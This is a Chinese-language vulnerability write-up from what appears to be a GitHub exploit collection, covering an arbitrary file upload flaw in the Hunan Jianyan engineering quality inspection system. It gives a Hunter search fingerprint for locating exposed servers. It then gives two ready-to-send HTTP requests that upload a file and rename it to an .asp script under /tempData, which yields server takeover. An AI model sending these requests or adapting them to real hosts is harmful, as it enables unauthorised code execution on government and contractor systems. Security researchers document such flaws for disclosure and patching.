Skip to content

Latest commit

 

History

History
66 lines (46 loc) · 2.13 KB

湖南建研工程质量检测系统Attachment存在任意文件上传漏洞.md

File metadata and controls

66 lines (46 loc) · 2.13 KB

湖南建研工程质量检测系统Attachment存在任意文件上传漏洞

一、漏洞简介

湖南建研质量监测系统由相关政府质量监督机构、参建单位等共同参与,根据各自的职责,上网操作相应的模块,实现工程质量监督业务的统一管理。该系统存在任意文件上传漏洞,攻击者可通过该漏洞获取服务器权限。

二、影响版本

  • 湖南建研工程质量检测系统

三、资产测绘

  • hunterweb.body="/Content/Theme/Standard/webSite/login.css"
  • 特征

1702346060563-9e664378-c6d3-46b6-84b3-8d0043c714cd.png

四、漏洞复现

  1. 上传txt文件
POST /Applications/Attachment/upload.ashx HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=00content0boundary00
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 204
Connection: close

--00content0boundary00
Content-Disposition: form-data; name="file"; filename="123.txt"

12323344
--00content0boundary00
Content-Disposition: form-data; name="_upload_guid"

123
--00content0boundary00--
![1714273613117-5394b2fc-d757-4f78-af67-28fe199a8804.png](./img/xVEDcUrG89WfIpu8/1714273613117-5394b2fc-d757-4f78-af67-28fe199a8804-531084.png)
  1. 将文件改名
POST /Standard/Editor/API/File.cshtml?act=geturl HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded
Content-Length: 59
Connection: close

filename=/tempData/stc.asp&filetplpath=/tempData/123.txt

1714273657972-2fcea581-f80c-41be-a7d5-c01be5325229.png

  1. 文件上传位置
/tempData/stc.asp

更新: 2024-04-28 11:08:22
原文: https://www.yuque.com/xiaokp7/ocvun2/vbwrh9veoyfo2yhb